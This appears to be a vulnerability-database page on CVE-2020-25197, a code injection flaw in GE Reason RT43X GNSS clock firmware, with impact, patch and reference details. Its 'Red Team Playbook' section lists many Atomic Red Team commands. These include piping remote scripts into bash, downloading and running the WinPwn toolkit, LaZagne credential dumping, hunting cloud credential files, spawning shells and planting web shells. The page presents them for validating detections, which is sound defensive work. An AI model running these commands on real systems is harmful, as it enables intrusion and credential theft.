CVE-2020-25197
Overview
This vulnerability is a code injection flaw rooted in improper input validation within a web interface component of GE Reason RT43X GNSS clocks. Specifically, one of the device’s webpages processes user-supplied data without adequate sanitization, allowing injection of arbitrary code. The affected firmware versions prior to 08A06 on RT430, RT431, and RT434 models contain this insecure coding practice in their web-based management interface.
Vulnerability Description
A code injection vulnerability exists in one of the webpages in GE Reason RT430, RT431 & RT434 GNSS clocks in firmware versions prior to version 08A06 that could allow an authenticated remote attacker to execute arbitrary code on the system.
Impact
An attacker with valid authentication credentials and network access to the device’s web interface can execute arbitrary code remotely, potentially taking full control of the affected GNSS clocks. This enables unauthorized modification of device operation, data compromise, or disruption of time synchronization services. The vulnerability requires no user interaction and benefits from low attack complexity (CVSS vector AV:N/AC:L/PR:N/UI:N), increasing the likelihood of exploitation in operational environments.
Solution
GE Grid Solutions released firmware version 08A06 to remediate this vulnerability in RT430, RT431, and RT434 GNSS clocks. Users should apply this update as detailed in the GE advisory available at https://www.gegridsolutions.com/app/DownloadFile.aspx?prod=RT430&type=21&file=5 and the US-CERT ICS advisory ICSA-21-005-03. Following the vendor’s update instructions ensures removal of the vulnerable code injection vector and restoration of secure web interface operation.
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
A significant code injection vulnerability exists within specific firmware versions of GE's GNSS clocks, namely the RT430, RT431, and RT434 models. This flaw allows an authenticated remote attacker to execute arbitrary code on the affected systems. The vulnerability arises from improper validation of user input on one of the web pages associated with these devices. When an attacker crafts malicious input and sends it to the vulnerable web interface, the system fails to properly sanitize this input, leading to the execution of unintended commands. This type of vulnerability is particularly dangerous as it can be exploited without requiring physical access to the device, thus broadening the potential attack surface.
The attack vectors for this vulnerability primarily involve authenticated users who have access to the web interface of the affected GNSS clocks. An attacker could leverage stolen credentials or exploit weak authentication mechanisms to gain access. Once authenticated, the attacker could inject malicious code through specially crafted requests, potentially leading to full system compromise. Exploitation scenarios may include altering device configurations, injecting malware, or even using the compromised device as a foothold to launch further attacks within the network. Given the critical nature of GNSS clocks in various applications, including telecommunications and power grid management, the implications of such exploitation could be severe.
The real-world impact of this vulnerability is substantial, particularly for organizations that rely on the affected GNSS clocks for precise timing and synchronization. A successful attack could lead to disruptions in services, data integrity issues, and potential financial losses. Moreover, the ability to execute arbitrary code could allow attackers to manipulate the device's functionality, leading to cascading failures in systems that depend on accurate timekeeping. The business risk extends beyond immediate operational disruptions; it also encompasses reputational damage, regulatory repercussions, and the potential for legal liabilities if sensitive data is compromised or if critical infrastructure is affected.
To detect and mitigate this vulnerability, organizations should prioritize updating the firmware of the affected GNSS clocks to the latest version, which addresses this security flaw. Regularly monitoring and auditing access logs can help identify unauthorized access attempts, while implementing strong authentication mechanisms can reduce the risk of credential theft. Additionally, employing web application firewalls (WAFs) can provide an extra layer of security by filtering out malicious input before it reaches the vulnerable web interface. Organizations should also conduct regular security assessments and penetration testing to identify and remediate vulnerabilities proactively.
In conclusion, the code injection vulnerability in GE's GNSS clocks poses a significant threat to organizations that utilize these devices. The potential for remote code execution by authenticated attackers highlights the need for robust security measures and timely firmware updates. By understanding the technical details, attack vectors, and real-world implications of this vulnerability, organizations can better prepare themselves to defend against potential exploits and mitigate associated risks effectively.
Affected Products (3)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
|
|
Ge | Rt430 Firmware | All |
cpe:2.3:o:ge:rt430_firmware:*:*:*:*:*:*:*:*
|
|
|
Ge | Rt431 Firmware | All |
cpe:2.3:o:ge:rt431_firmware:*:*:*:*:*:*:*:*
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|
|
Ge | Rt434 Firmware | All |
cpe:2.3:o:ge:rt434_firmware:*:*:*:*:*:*:*:*
|
Exploits
No exploits found for this CVE.
Threat Feed
0 eventsNo threat activity recorded for this CVE.
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
Red Team Playbook
44 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
netstat -ano
net use
net sessions 2>nul
netstat
who -a
Get-NetTCPConnection | ForEach-Object {
$p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
[pscustomobject]@{
Local = "$($_.LocalAddress):$($_.LocalPort)"
Remote = "$($_.RemoteAddress):$($_.RemotePort)"
State = $_.State
PID = $_.OwningProcess
Process = if ($p) { $p.ProcessName } else { $null }
}
} | Sort-Object State,Process | Format-Table -AutoSize
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
Get-NetTCPConnection
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1 cpan
uname -srm
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
chmod +x #{autosuid}
bash #{autosuid}
chmod +x #{linenum}
bash #{linenum}
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
awk 'BEGIN {system("/bin/sh &")}'
busybox sh &
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
cat /etc/shells
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
xcopy /I /Y "#{web_shells}" #{web_shell_path}
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (3)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2020-25197 |
| cisa.gov |
GitHub CVE
x_refsource_CONFIRM
|
https://www.cisa.gov/uscert/ics/advisories/icsa-21-005-03 |
| gegridsolutions.com |
GitHub CVE
x_refsource_CONFIRM
|
https://www.gegridsolutions.com/app/DownloadFile.aspx?prod=RT430&type=21&file=5 |